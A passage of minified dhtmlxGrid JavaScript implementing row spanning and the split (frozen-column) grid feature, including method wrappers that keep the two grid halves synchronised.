o=null;if(this._fake&&!this._realfake){o=this._bfs_cells3(a,u).cell}else{o=this.cells3(a,u).cell}this._shiftIndexes(a,s._cellIndex,1);if(o){o.parentNode.removeChild(o)}g.push(a);if(!this._h2){a=a.nextSibling||this.rowsCol[this.rowsCol._dhx_find(a)+1]}else{var a=this._h2.get[a.idd].parent.childs[this._h2.get[a.idd].index+1];if(a){a=this.rowsAr[a.id]}}}this.rowsAr[q]._rowSpan=this.rowsAr[q]._rowSpan||{};this.rowsAr[q]._rowSpan[u]=g;if(this._fake&&!this._realfake&&u<this._fake._cCount){this._fake.setRowspan(q,u,h)}};dhtmlXGridObject.prototype._shiftIndexes=function(a,g,c){if(!a._childIndexes){a._childIndexes=new Array();for(var e=0;e<a.childNodes.length;e++){a._childIndexes[e]=e}}for(var e=0;e<a._childIndexes.length;e++){if(e>g){a._childIndexes[e]=a._childIndexes[e]-c}}};dhtmlXGridObject.prototype.enableRowspan=function(){this._erspan=true;this.enableRowspan=function(){};this.attachEvent(\"onAfterSorting\",function(){if(this._dload){return}for(var h=1;h<this.obj.rows.length;h++){if(this.obj.rows[h]._rowSpan){var a=this.obj.rows[h];for(var l in a._rowSpan){var o=a;var c=o._rowSpan[l];for(var e=0;e<c.length;e++){if(o.nextSibling){o.parentNode.insertBefore(c[e],o.nextSibling)}else{o.parentNode.appendChild(c[e])}if(this._fake){var g=this._fake.rowsAr[o.idd];var m=this._fake.rowsAr[c[e].idd];if(g.nextSibling){g.parentNode.insertBefore(m,g.nextSibling)}else{g.parentNode.appendChild(m)}this._correctRowHeight(o.idd)}o=o.nextSibling}}}}var n=this.rowsCol.stablesort;this.rowsCol=new dhtmlxArray();this.rowsCol.stablesort=n;for(var h=1;h<this.obj.rows.length;h++){this.rowsCol.push(this.obj.rows[h])}});this.attachEvent(\"onXLE\",function(g,e,q,l){for(var m=0;m<this.rowsBuffer.length;m++){var o=this.render_row(m);var n=o.childNodes;for(var h=0;h<n.length;h++){if(n[h]._attrs.rowspan){this.setRowspan(o.idd,n[h]._cellIndex,n[h]._attrs.rowspan)}}}})};dhx4.attachEvent(\"onGridCreated\",function(a){if(a._split_later){a.splitAt(a._split_later)}});dhtmlXGridObject.prototype.splitAt=function(m){if(!this.obj.rows[0]){return this._split_later=m}m=parseInt(m);var w=document.createElement(\"DIV\");this.entBox.appendChild(w);var x=document.createElement(\"DIV\");this.entBox.appendChild(x);for(var u=this.entBox.childNodes.length-3;u>=0;u--){x.insertBefore(this.entBox.childNodes[u],x.firstChild)}this.entBox.style.position=\"relative\";this.globalBox=this.entBox;this.entBox=x;x.grid=this;w.style.cssText+=\"border:0px solid red !important;\";x.style.cssText+=\"border:0px solid red !important;\";x.style.top=\"0px\";x.style.position=\"absolute\";w.style.position=\"absolute\";w.style.top=\"0px\";w.style.left=\"0px\";w.style.zIndex=11;x.style.height=w.style.height=this.globalBox.clientHeight;this._fake=new dhtmlXGridObject(w);this.globalBox=this._fake.globalBox=this.globalBox;this._fake._fake=this;this._fake._realfake=true;this._treeC=this.cellType._dhx_find(\"tree\");this._fake.delim=this.delim;this._fake.customGroupFormat=this.customGroupFormat;this._fake.setImagesPath(this._imgURL);this._fake.iconURL=this.iconURL;this._fake._customSorts=this._customSorts;this._fake.noHeader=this.noHeader;this._fake._enbTts=this._enbTts;this._fake._drsclmW=this._drsclmW;this._fake._htkebl=this._htkebl;this._fake.clists=this.clists;this._fake.fldSort=new Array();this._fake.selMultiRows=this.selMultiRows;this._fake.multiLine=this.multiLine;this._fake.smartTabOrder=this.smartTabOrder;if(this.multiLine||this._erspan){this.attachEvent(\"onCellChanged\",this._correctRowHeight);this.attachEvent(\"onRowAdded\",this._correctRowHeight);var c=function(){this.forEachRow(function(C){this._correctRowHeight(C)})};this.attachEvent(\"onPageChanged\",c);this.attachEvent(\"onXLE\",c);this.attachEvent(\"onResizeEnd\",c);if(!this._ads_count){this.attachEvent(\"onAfterSorting\",c)}if(this._srnd){this.attachEvent(\"onFilterEnd\",c)}this.attachEvent(\"onDistributedEnd\",c)}this.attachEvent(\"onGridReconstructed\",function(){this._fake.objBox.scrollTop=this.objBox.scrollTop});this._fake.loadedKidsHash=this.loadedKidsHash;if(this._h2){this._fake._h2=this._h2}this._fake._dInc=this._dInc;var n=[[],[],[],[],[],[],[]];var r=[\"hdrLabels\",\"initCellWidth\",\"cellType\",\"cellAlign\",\"cellVAlign\",\"fldSort\",\"columnColor\"];var h=[\"setHeader\",\"setInitWidths\",\"setColTypes\",\"setColAlign\",\"setColVAlign\",\"setColSorting\",\"setColumnColor\"];this._fake.callEvent=function(){var C=true;this._fake._split_event=true;var D=(arguments[0]==\"onScroll\");if(arguments[0]==\"onGridReconstructed\"||D){this._fake.callEvent.apply(this,arguments)}if(!D){C=this._fake.callEvent.apply(this._fake,arguments)}this._fake._split_event=false;return C};if(this._elmn){this._fake.enableLightMouseNavigation(true)}if(this.__cssEven||this._cssUnEven){this._fake.attachEvent(\"onGridReconstructed\",function(){this._fixAlterCss()})}this._fake._cssEven=this._cssEven;this._fake._cssUnEven=this._cssUnEven;this._fake._cssSP=this._cssSP;this._fake.isEditable=this.isEditable;this._fake._edtc=this._edtc;if(this._sst){this._fake.enableStableSorting(true)}this._fake._sclE=this._sclE;this._fake._dclE=this._dclE;this._fake._f2kE=this._f2kE;this._fake._maskArr=this._maskArr;this._fake._dtmask=this._dtmask;this._fake.combos=this.combos;var o=0;var a=this.globalBox.offsetWidth;for(var u=0;u<m;u++){for(var s=0;s<r.length;s++){if(this[r[s]]){n[s][u]=this[r[s]][u]}if(typeof n[s][u]==\"string\"){n[s][u]=n[s][u].replace(new RegExp(\"\\\\\"+this.delim,\"g\"),\"\\\\\"+this.delim)}}if(_isFF){n[1][u]=n[1][u]*1}if(this.cellWidthType==\"%\"){n[1][u]=Math.round(parseInt(this[r[1]][u])*a/100);o+=n[1][u]}else{o+=parseInt(this[r[1]][u])}this.setColumnHidden(u,true)}for(var s=0;s<r.length;s++){var q=n[s].join(this.delim);if(h[s]!=\"setHeader\"){if(q!=\"\"){this._fake[h[s]](q)}}else{this._fake[h[s]](q,null,this._hstyles)}}this._fake._strangeParams=this._strangeParams;this._fake._drsclmn=this._drsclmn;o=Math.min(this.globalBox.offsetWidth,o);x.style.left=o+\"px\";w.style.width=o+\"px\";x.style.width=Math.max(this.globalBox.offsetWidth-o,0);if(this._ecspn){this._fake._ecspn=true}this._fake.init();if(this.dragAndDropOff){this.dragger.addDragLanding(this._fake.entBox,this)}this._fake.objBox.style.overflow=\"hidden\";if(!dhtmlx.$customScroll){this._fake.objBox.style.overflowX=\"scroll\"}else{this._fake.objBox._custom_scroll_mode=\"\"}this._fake._srdh=this._srdh||20;this._fake._srnd=this._srnd;var y=this;function A(E){var D=E.wheelDelta/-40;if(E.wheelDelta===window.undefined){D=E.detail}var C=y.objBox;C.scrollTop+=D*40;if(E.preventDefault){E.preventDefault()}}dhtmlxEvent(this._fake.objBox,\"mousewheel\",A);dhtmlxEvent(this._fake.objBox,\"DOMMouseScroll\",A);function g(D,C){C.style.whiteSpace=\"\";var H=C.nextSibling;var E=C.parentNode;D.parentNode.insertBefore(C,D);if(!H){E.appendChild(D)}else{E.insertBefore(D,H)}var F=D.style.display;D.style.display=C.style.display;C.style.display=F}function v(K,S,L,D){var E=(new Array(m)).join(this.delim);var M=[];if(K==2){for(var I=0;I<m;I++){var C=S[K-1].cells[S[K-1]._childIndexes?S[K-1]._childIndexes[I]:I];if(C.rowSpan&&C.rowSpan>1){M[C._cellIndex]=C.rowSpan-1;D[K-1].cells[D[K-1]._childIndexes?D[K-1]._childIndexes[I]:I].rowSpan=C.rowSpan;C.rowSpan=1}}}for(K;K<S.length;K++){this._fake.attachHeader(E,null,L);D=D||this._fake.ftr.childNodes[0].rows;var P=m;var F=0;for(var J=0;J<P;J++){if(M[J]){M[J]=M[J]-1;if(_isIE||_isOpera){var H=document.createElement(\"TD\");if(_isFF){H.style.display=\"none\"}S[K].insertBefore(H,S[K].cells[0])}F++;continue}var O=D[K].cells[J-F];var N=S[K].cells[J-(_isIE?0:F)];var Q=N.rowSpan;g(O,N);if(Q>1){M[J]=Q-1;N.rowSpan=Q}if(D[K].cells[J].colSpan>1){S[K].cells[J].colSpan=D[K].cells[J].colSpan;P-=D[K].cells[J].colSpan-1;for(var I=1;I<D[K].cells[J].colSpan;I++){D[K].removeChild(D[K].cells[J+1])}}}}}if(this.hdr.rows.length>2){v.call(this,2,this.hdr.rows,\"_aHead\",this._fake.hdr.rows)}if(this.ftr){v.call(this,1,this.ftr.childNodes[0].rows,\"_aFoot\");this._fake.ftr.parentNode.style.bottom=(_isFF?2:1)+\"px\"}if(this.saveSizeToCookie){this.saveSizeToCookie=function(D,C){if(this._realfake){return this._fake.saveSizeToCookie.apply(this._fake,arguments)}if(!D){D=this.entBox.id}var F=new Array();var H=\"cellWidthPX\";for(var E=0;E<this[H].length;E++){if(E<m){F[E]=this._fake[H][E]}else{F[E]=this[H][E]}}F=F.join(\",\");this.setCookie(D,C,0,F);var F=(this.initCellWidth||(new Array)).join(\",\");this.setCookie(D,C,1,F);return true};this.loadSizeFromCookie=function(C){if(!C){C=this.entBox.id}var H=this._getCookie(C,1);if(!H){return}this.initCellWidth=H.split(\",\");var H=this._getCookie(C,0);var I=\"cellWidthPX\";this.cellWidthType=\"px\";var E=0;if((H)&&(H.length)){H=H.split(\",\");for(var D=0;D<H.length;D++){if(D<m){this._fake[I][D]=H[D];E+=H[D]*1}else{this[I][D]=H[D]}}}this._fake.entBox.style.width=E+\"px\";this._fake.objBox.style.width=E+\"px\";var F=this.globalBox.childNodes[1];F.style.left=E-(_isFF?0:0)+\"px\";if(this.ftr){this.ftr.style.left=E-(_isFF?0:0)+\"px\"}F.style.width=this.globalBox.offsetWidth-E+\"px\";this.setSizes();return true};this._fake.onRSE=this.onRSE}this.setCellTextStyleA=this.setCellTextStyle;this.setCellTextStyle=function(D,E,C){if(E<m){this._fake.setCellTextStyle(D,E,C)}this.setCellTextStyleA(D,E,C)};this.setRowTextBoldA=this.setRowTextBold;this.setRowTextBold=function(C){this.setRowTextBoldA(C);this._fake.setRowTextBold(C)};this.setRowColorA=this.setRowColor;this.setRowColor=function(D,C){this.setRowColorA(D,C);this._fake.setRowColor(D,C)};this.setRowHiddenA=this.setRowHidden;this.setRowHidden=function(D,C){this.setRowHiddenA(D,C);this._fake.setRowHidden(D,C)};this.setRowTextNormalA=this.setRowTextNormal;this.setRowTextNormal=function(C){this.setRowTextNormalA(C);this._fake.setRowTextNormal(C)};this.getChangedRows=function(E){var C=new Array();function D(H){for(var F=0;F<H.childNodes.length;F++){if(H.childNodes[F].wasChanged){return C[C.length]=H.idd}}}this.forEachRow(function(I){var H=this.rowsAr[I];var F=this._fake.rowsAr[I];if(H.tagName!=\"TR\"||!F||F.tagName!=\"TR\"){return}if(E&&H._added){C[C.length]=H.idd}else{if(!D(H)){D(F)}}});return C.join(this.delim)};this.setRowTextStyleA=this.setRowTextStyle;this.setRowTextStyle=function(D,C){this.setRowTextStyleA(D,C);if(this._fake.rowsAr[D]){this._fake.setRowTextStyle(D,C)}};this.lockRowA=this.lockRow;this.lockRow=function(D,C){this.lockRowA(D,C);this._fake.lockRow(D,C)};this.getColWidth=function(C){if(C<m){return parseInt(this._fake.cellWidthPX[C])}else{return parseInt(this.cellWidthPX[C])}};this.getColumnLabel=function(C){return this._fake.getColumnLabel.apply(((C<m)?this._fake:this),arguments)};this.setColWidthA=this._fake.setColWidthA=this.setColWidth;this.setColWidth=function(C,D){C=C*1;if(C<m){this._fake.setColWidthA(C,D)}else{this.setColWidthA(C,D)}if((C+1)<=m){this._fake._correctSplit(Math.min(this._fake.objBox.offsetWidth,this._fake.obj.offsetWidth))}};this.adjustColumnSizeA=this.adjustColumnSize;this.setColumnLabelA=this.setColumnLabel;this.setColumnLabel=function(D,C,H,F){var E=this;if(D<m){E=this._fake}return this.setColumnLabelA.apply(E,[D,C,H,F])};this.adjustColumnSize=function(C,D){if(C<m){if(_isIE){this._fake.obj.style.tableLayout=\"\"}this._fake.adjustColumnSize(C,D);if(_isIE){this._fake.obj.style.tableLayout=\"fixed\"}this._fake._correctSplit()}else{return this.adjustColumnSizeA(C,D)}};var e=\"cells\";this._bfs_cells=this[e];this[e]=function(){if(arguments[1]<m){return this._fake.cells.apply(this._fake,arguments)}else{return this._bfs_cells.apply(this,arguments)}};this._bfs_isColumnHidden=this.isColumnHidden;this.isColumnHidden=function(){if(parseInt(arguments[0])<m){return this._fake.isColumnHidden.apply(this._fake,arguments)}else{return this._bfs_isColumnHidden.apply(this,arguments)}};this._bfs_setColumnHidden=this.setColumnHidden;this.setColumnHidden=function(){if(parseInt(arguments[0])<m){this._fake.setColumnHidden.apply(this._fake,arguments);return this._fake._correctSplit()}else{return this._bfs_setColumnHidden.apply(this,arguments)}};var e=\"cells2\";this._bfs_cells2=this[e];this[e]=function(){if(arguments[1]<m){return this._fake.cells2.apply(this._fake,arguments)}else{return this._bfs_cells2.apply(this,arguments)}};var e=\"cells3\";this._bfs_cells3=this[e];this[e]=function(D,C){if(arguments[1]<m&&this._fake.rowsAr[arguments[0].idd]){if(this._fake.rowsAr[D.idd]&&this._fake.rowsAr[D.idd].childNodes.length==0){return this._bfs_cells3.apply(this,arguments)}arguments[0]=arguments[0].idd;return this._fake.cells.apply(this._fake,arguments)}else{return this._bfs_cells3.apply(this,arguments)}};var e=\"changeRowId\";this._bfs_changeRowId=this[e];this[e]=function(){this._bfs_changeRowId.apply(this,arguments);if(this._fake.rowsAr[arguments[0]]){this._fake.changeRowId.apply(this._fake,arguments)}};this._fake.getRowById=function(E){var D=this.rowsAr[E];if(!D&&this._fake.rowsAr[E]){D=this._fake.getRowById(E)}if(D){if(D.tagName!=\"TR\"){for(var C=0;C<this.rowsBuffer.length;C++){if(this.rowsBuffer[C]&&this.rowsBuffer[C].idd==E){return this.render_row(C)}}if(this._h2){return this.render_row(null,D.idd)}}return D}return null};if(this.collapseKids){this._fake._bfs_collapseKids=this.collapseKids;this._fake.collapseKids=function(){return this._fake.collapseKids.apply(this._fake,[this._fake.rowsAr[arguments[0].idd]])};this[\"_bfs_collapseKids\"]=this.collapseKids;this[\"collapseKids\"]=function(){var C=this[\"_bfs_collapseKids\"].apply(this,arguments);this._fake._h2syncModel();if(!this._cssSP){this._fake._fixAlterCss()}};this._fake._bfs_expandKids=this.expandKids;this._fake.expandKids=function(){this._fake.expandKids.apply(this._fake,[this._fake.rowsAr[arguments[0].idd]]);if(!this._cssSP){this._fake._fixAlterCss()}};this[\"_bfs_expandAll\"]=this.expandAll;this[\"expandAll\"]=function(){this._bfs_expandAll();this._fake._h2syncModel();if(!this._cssSP){this._fake._fixAlterCss()}};this[\"_bfs_collapseAll\"]=this.collapseAll;this[\"collapseAll\"]=function(){this._bfs_collapseAll();this._fake._h2syncModel();if(!this._cssSP){this._fake._fixAlterCss()}};this[\"_bfs_expandKids\"]=this.expandKids;this[\"expandKids\"]=function(){var C=this[\"_bfs_expandKids\"].apply(this,arguments);this._fake._h2syncModel();if(!this._cssSP){this._fake._fixAlterCss()}};this._fake._h2syncModel=function(){if(this._fake.pagingOn){this._fake._renderSort()}else{this._renderSort()}};this._updateTGRState=function(C){return this._fake._updateTGRState(C)}}if(this._elmnh){this._setRowHoverA=this._fake._setRowHoverA=this._setRowHover;this._unsetRowHoverA=this._fake._unsetRowHoverA=this._unsetRowHover;this._setRowHover=this._fake._setRowHover=function(){var C=this.grid;C._setRowHoverA.apply(this,arguments);var D=(_isIE?event.srcElement:arguments[0].target);D=C._fake.rowsAr[C.getFirstParentOfType(D,\"TD\").parentNode.idd];if(D){C._fake._setRowHoverA.apply(C._fake.obj,[{target:D.childNodes[0]},arguments[1]])}};this._unsetRowHover=this._fake._unsetRowHover=function(){if(arguments[1]){var C=this}else{var C=this.grid}C._unsetRowHoverA.apply(this,arguments);C._fake._unsetRowHoverA.apply(C._fake.obj,arguments)};this._fake.enableRowsHover(true,this._hvrCss);this.enableRowsHover(false);this.enableRowsHover(true,this._fake._hvrCss)}this._updateTGRState=function(C){if(!C.update||C.id==0){return}if(this.rowsAr[C.id].imgTag){this.rowsAr[C.id].imgTag.src=this.iconTree+C.state+\".gif\"}if(this._fake.rowsAr[C.id]&&this._fake.rowsAr[C.id].imgTag){this._fake.rowsAr[C.id].imgTag.src=this.iconTree+C.state+\".gif\"}C.update=false};this.copy_row=function(H){var C=H.cloneNode(true);C._skipInsert=H._skipInsert;var I=m;C._attrs={};C._css=H._css;if(this._ecspn){I=0;for(var F=0;(I<C.childNodes.length&&F<m);F+=(C.childNodes[I].colSpan||1)){I++}}while(C.childNodes.length>I){C.removeChild(C.childNodes[C.childNodes.length-1])}var E=I;for(var F=0;F<E;F++){if(this.dragAndDropOff){this.dragger.addDraggableItem(C.childNodes[F],this)}C.childNodes[F].style.display=(this._fake._hrrar?(this._fake._hrrar[F]?\"none\":\"\"):\"\");C.childNodes[F]._cellIndex=F;C.childNodes[F].combo_value=arguments[0].childNodes[F].combo_value;C.childNodes[F]._clearCell=arguments[0].childNodes[F]._clearCell;C.childNodes[F]._cellType=arguments[0].childNodes[F]._cellType;C.childNodes[F]._brval=arguments[0].childNodes[F]._brval;C.childNodes[F].val=arguments[0].childNodes[F].val;C.childNodes[F]._combo=arguments[0].childNodes[F]._combo;C.childNodes[F]._attrs=arguments[0].childNodes[F]._attrs;C.childNodes[F].chstate=arguments[0].childNodes[F].chstate;if(H._attrs.style){C.childNodes[F].style.cssText+=\";\"+H._attrs.style}if(C.childNodes[F].colSpan>1){this._childIndexes=this._fake._childIndexes}}if(this._h2&&this._treeC<m){var D=this._h2.get[arguments[0].idd];C.imgTag=C.childNodes[this._treeC].childNodes[0].childNodes[D.level];C.valTag=C.childNodes[this._treeC].childNodes[0].childNodes[D.level+2]}C.idd=H.idd;C.grid=this._fake;return C};var e=\"_insertRowAt\";this._bfs_insertRowAt=this[e];this[e]=function(){var D=this[\"_bfs_insertRowAt\"].apply(this,arguments);arguments[0]=this.copy_row(arguments[0]);var C=this._fake._insertRowAt.apply(this._fake,arguments);if(D._fhd){C.parentNode.removeChild(C);this._fake.rowsCol._dhx_removeAt(this._fake.rowsCol._dhx_find(C));D._fhd=false}return D};this._bfs_setSizes=this.setSizes;this.setSizes=function(){if(this._notresize){return}this._bfs_setSizes(this,arguments);this.sync_headers();if(this.sync_scroll()&&this._ahgr){this.setSizes()}var C=this.dontSetSizes?(this.entBox.offsetHeight+\"px\"):this.entBox.style.height;this._fake.entBox.style.height=C;this._fake.objBox.style.height=this.objBox.style.height;this._fake.hdrBox.style.height=this.hdrBox.style.height;this._fake.objBox.scrollTop=this.objBox.scrollTop;this._fake.setColumnSizes(this._fake.entBox.clientWidth);this.globalBox.style.width=parseInt(this.entBox.style.width)+parseInt(this._fake.entBox.style.width);if(!this.dontSetSizes){this.globalBox.style.height=C}};this.sync_scroll=this._fake.sync_scroll=function(D){var C=this.objBox.style.overflowX;if(this.obj.offsetWidth<=this.objBox.offsetWidth){if(!D){return this._fake.sync_scroll(true)}this.objBox.style.overflowX=\"hidden\";this._fake.objBox.style.overflowX=\"hidden\"}else{if(!dhtmlx.$customScroll){this.objBox.style.overflowX=\"scroll\";this._fake.objBox.style.overflowX=\"scroll\"}}return C!=this.objBox.style.overflowX};this.sync_headers=this._fake.sync_headers=function(){if(this.noHeader||(this._fake.hdr.scrollHeight==this.hdr.offsetHeight)||this.noHeaderResize){return}for(var D=1;D<this.hdr.rows.length;D++){var H=m;while(!this.hdr.rows[D].childNodes[H]){H--}var C=Math.min(this.hdr.rows[D].childNodes[H].scrollHeight+2,this.hdr.rows[D].scrollHeight);var F=this._fake.hdr.rows[D].scrollHeight;if(C!=F){this._fake.hdr.rows[D].style.height=this.hdr.rows[D].style.height=Math.max(C,F)+\"px\"}if(window._KHTMLrv){var E=0;while(this._fake._hrrar[E]){E++}this._fake.hdr.rows[D].childNodes[E].style.height=this.hdr.rows[D].childNodes[H].style.height=Math.max(C,F)+\"px\"}}this._fake.sync_headers};this._fake._bfs_setSizes=this._fake.setSizes;this._fake.setSizes=function(){if(this._fake._notresize){return}this._fake.setSizes()};var e=\"_doOnScroll\";this._bfs__doOnScroll=this[e];this[e]=function(){this._bfs__doOnScroll.apply(this,arguments);this._fake.objBox.scrollTop=this.objBox.scrollTop;this._fake._doOnScroll.apply(this._fake,arguments)};var e=\"selectAll\";this._bfs__selectAll=this[e];this[e]=function(){this._bfs__selectAll.apply(this,arguments);this._bfs__selectAll.apply(this._fake,arguments)};var e=\"doClick\";this._bfs_doClick=this[e];this[e]=function(){this[\"_bfs_doClick\"].apply(this,arguments);if(arguments[0].tagName==\"TD\"){var C=(arguments[0]._cellIndex>=m);if(!arguments[0].parentNode.idd){return}if(!C){arguments[0].className=arguments[0].className.replace(/cellselected/g,\"\")}if(!this._fake.rowsAr[arguments[0].parentNode.idd]){this._fake.render_row(this.getRowIndex(arguments[0].parentNode.idd))}arguments[0]=this._fake.cells(arguments[0].parentNode.idd,(C?0:arguments[0]._cellIndex)).cell;if(C){this._fake.cell=null}this._fake._bfs_doClick.apply(this._fake,arguments);if(C){this._fake.cell=this.cell}else{this.cell=this._fake.cell}if(this._fake.onRowSelectTime){clearTimeout(this._fake.onRowSelectTime)}if(C){arguments[0].className=arguments[0].className.replace(/cellselected/g,\"\");globalActiveDHTMLGridObject=this;this._fake.cell=this.cell}else{this.objBox.scrollTop=this._fake.objBox.scrollTop}}};this._fake._bfs_doClick=this._fake[e];this._fake[e]=function(){this[\"_bfs_doClick\"].apply(this,arguments);if(arguments[0].tagName==\"TD\"){var C=(arguments[0]._cellIndex<m);if(!arguments[0].parentNode.idd){return}arguments[0]=this._fake._bfs_cells(arguments[0].parentNode.idd,(C?m:arguments[0]._cellIndex)).cell;this._fake.cell=null;this._fake._bfs_doClick.apply(this._fake,arguments);this._fake.cell=this.cell;if(this._fake.onRowSelectTime){clearTimeout(this._fake.onRowSelectTime)}if(C){arguments[0].className=arguments[0].className.replace(/cellselected/g,\"\");globalActiveDHTMLGridObject=this;this._fake.cell=this.cell;this._fake.objBox.scrollTop=this.objBox.scrollTop}}};this.clearSelectionA=this.clearSelection;this.clearSelection=function(C){if(C){this._fake.clearSelection()}this.clearSelectionA()};this.moveRowUpA=this.moveRowUp;this.moveRowUp=function(C){if(!this._h2){this._fake.moveRowUp(C)}this.moveRowUpA(C);if(this._h2){this._fake._h2syncModel()}};this.moveRowDownA=this.moveRowDown;this.moveRowDown=function(C){if(!this._h2){this._fake.moveRowDown(C)}this.moveRowDownA(C);if(this._h2){this._fake._h2syncModel()}};this._fake.getUserData=function(){return this._fake.getUserData.apply(this._fake,arguments)};this._fake.setUserData=function(){return this._fake.setUserData.apply(this._fake,arguments)};this.getSortingStateA=this.getSortingState;this.getSortingState=function(){var C=this.getSortingStateA();if(C.length!=0){return C}return this._fake.getSortingState()};this.setSortImgStateA=this._fake.setSortImgStateA=this.setSortImgState;this.setSortImgState=function(D,C,F,E){this.setSortImgStateA(D,C,F,E);if(C*1<m){this._fake.setSortImgStateA(D,C,F,E);this.setSortImgStateA(false)}else{this._fake.setSortImgStateA(false)}};this._fake.doColResizeA=this._fake.doColResize;this._fake.doColResize=function(H,F,E,C,J){var D=-1;var I=0;if(arguments[1]._cellIndex==(m-1)){D=this._initalSplR+(H.clientX-C);if(!this._initalSplF){this._initalSplF=arguments[3]+this.objBox.scrollWidth-this.objBox.offsetWidth}if(this.objBox.scrollWidth==this.objBox.offsetWidth&&(this._fake.alter_split_resize||(H.clientX-C)>0)){arguments[3]=(this._initalSplF||arguments[3]);I=this.doColResizeA.apply(this,arguments)}else{I=this.doColResizeA.apply(this,arguments)}}else{if(this.obj.offsetWidth<this.entBox.offsetWidth){D=this.obj.offsetWidth}I=this.doColResizeA.apply(this,arguments)}if(I!==false){this._correctSplit(D);this.resized=this._fake.resized=1}return I};this._fake.changeCursorState=function(E){var D=E.target||E.srcElement;if(D.tagName!=\"TD\"){D=this.getFirstParentOfType(D,\"TD\")}if((D.tagName==\"TD\")&&(this._drsclmn)&&(!this._drsclmn[D._cellIndex])){return}var C=(E.layerX||0)+(((!_isIE)&&(E.target.tagName==\"DIV\"))?D.offsetLeft:0);var F=parseInt(this.getPosition(D,this.hdrBox));if(((D.offsetWidth-(E.offsetX||(F-C)*-1))<(_isOpera?20:10))||((this.entBox.offsetWidth-(E.offsetX?(E.offsetX+D.offsetLeft):C)+this.objBox.scrollLeft-0)<(_isOpera?20:10))){D.style.cursor=\"E-resize\"}else{D.style.cursor=\"default\"}if(_isOpera){this.hdrBox.scrollLeft=this.objBox.scrollLeft}};this._fake.startColResizeA=this._fake.startColResize;this._fake.startColResize=function(D){var E=this.startColResizeA(D);this._initalSplR=this.entBox.offsetWidth;this._initalSplF=null;if(this.entBox.onmousemove){var C=this.entBox.parentNode;if(C._aggrid){return E}C._aggrid=C.grid;C.grid=this;this.entBox.parentNode.onmousemove=this.entBox.onmousemove;this.entBox.onmousemove=null}return E};this._fake.stopColResizeA=this._fake.stopColResize;this._fake.stopColResize=function(D){if(this.entBox.parentNode.onmousemove){var C=this.entBox.parentNode;C.grid=C._aggrid;C._aggrid=null;this.entBox.onmousemove=this.entBox.parentNode.onmousemove;this.entBox.parentNode.onmousemove=null;if(this.obj.offsetWidth<this.entBox.offsetWidth){this._correctSplit(this.obj.offsetWidth)}}return this.stopColResizeA(D)};this.doKeyA=this.doKey;this._fake.doKeyA=this._fake.doKey;function l(F,D,K,J){var E=J.shiftKey?-1:1;var C=J.shiftKey?-1:K._cCount;var I=false;for(var H=F+E;H!=C;H+=E){if(K.smartTabOrder){I=K.cells2(D,H).isDisabled()?false:H}else{I=H}if(I!==false){K.selectCell(D,I,false,false,true,true);J.cancelBubble=true;if(J.preventDefault){J.preventDefault()}return true}}}this._fake.doKey=this.doKey=function(H){if(!H){return true}if(this._htkebl){return true}if((H.target||H.srcElement).value!==window.undefined){var D=(H.target||H.srcElement);if((!D.parentNode)||(D.parentNode.className.indexOf(\"editable\")==-1)){return true}}switch(H.keyCode){case 9:var F=this._realfake?this._fake:this;if(!F.callEvent(\"onTab\",[true])){return true}if(this.cell){var E=this.cell._cellIndex;var C=F.getRowIndex(this.cell.parentNode.idd);while(!l(E,C,F,H)){C+=(H.shiftKey?-1:1);if(C<0||C>=F.rowsBuffer.length){return}E=H.shiftKey?F._cCount:-1}return}break}return this.doKeyA(H)};this.editCellA=this.editCell;this.editCell=function(){if(this.cell&&this.cell.parentNode.grid!=this){return this._fake.editCell()}return this.editCellA()};this.deleteRowA=this.deleteRow;this.deleteRow=function(C,D){if(this.deleteRowA(C,D)===false){return false}if(this._fake.rowsAr[C]){this._fake.deleteRow(C)}};this.clearAllA=this.clearAll;this.clearAll=function(){this.clearAllA();this._fake.clearAll()};this.editStopA=this.editStop;this.editStop=function(C){if(this._fake.editor){this._fake.editStop(C)}else{this.editStopA(C)}};this.attachEvent(\"onAfterSorting\",function(D,C,E){if(D>=m){this._fake.setSortImgState(false)}});this._fake.sortField=function(D,C,F){this._fake.sortField.call(this._fake,D,C,this._fake.hdr.rows[0].cells[D]);if(this.fldSort[D]!=\"na\"&&this._fake.fldSorted){var E=this._fake.getSortingState()[1];this._fake.setSortImgState(false);this.setSortImgState(true,arguments[0],E)}};this.sortTreeRowsA=this.sortTreeRows;this._fake.sortTreeRowsA=this._fake.sortTreeRows;this.sortTreeRows=this._fake.sortTreeRows=function(E,F,C,D){if(this._realfake){return this._fake.sortTreeRows(E,F,C,D)}this.sortTreeRowsA(E,F,C,D);this._fake._h2syncModel();this._fake.setSortImgStateA(false);this._fake.fldSorted=null};this._fake._fillers=[];this._fake.rowsBuffer=this.rowsBuffer;this.attachEvent(\"onClearAll\",function(){this._fake.rowsBuffer=this.rowsBuffer});this._add_filler_s=this._add_filler;this._add_filler=function(D,C,H,E){if(!this._fake._fillers){this._fake._fillers=[]}if(this._realfake||!E){var F;if(H&&H.idd){F=this._fake.rowsAr[H.idd]}else{if(H&&H.nextSibling){F={};F.nextSibling=this._fake.rowsAr[H.nextSibling.idd];F.parentNode=F.nextSibling.parentNode}else{if(this._fake._fillers.length){F=this._fake._fillers[this._fake._fillers.length-1][2]}}}this._fake._fillers.push(this._fake._add_filler(D,C,F))}return this._add_filler_s.apply(this,arguments)};this._add_from_buffer_s=this._add_from_buffer;this._add_from_buffer=function(){var C=this._add_from_buffer_s.apply(this,arguments);if(C!=-1){this._fake._add_from_buffer.apply(this._fake,arguments);if(this.multiLine){this._correctRowHeight(this.rowsBuffer[arguments[0]].idd)}}return C};this._fake.render_row=function(C){var D=this._fake.render_row(C);if(D==-1){return -1}if(D){return this.rowsAr[D.idd]=this.rowsAr[D.idd]||this._fake.copy_row(D)}return null};this._reset_view_s=this._reset_view;this._reset_view=function(){this._fake._reset_view(true);this._fake._fillers=[];this._reset_view_s()};this.moveColumn_s=this.moveColumn;this.moveColumn=function(D,C){if(C>=m){return this.moveColumn_s(D,C)}};this.attachEvent(\"onCellChanged\",function(H,E,F){if(this._split_event&&E<m&&this.rowsAr[H]){var C=this._fake.rowsAr[H];if(!C){return}if(C._childIndexes){C=C.childNodes[C._childIndexes[E]]}else{C=C.childNodes[E]}var 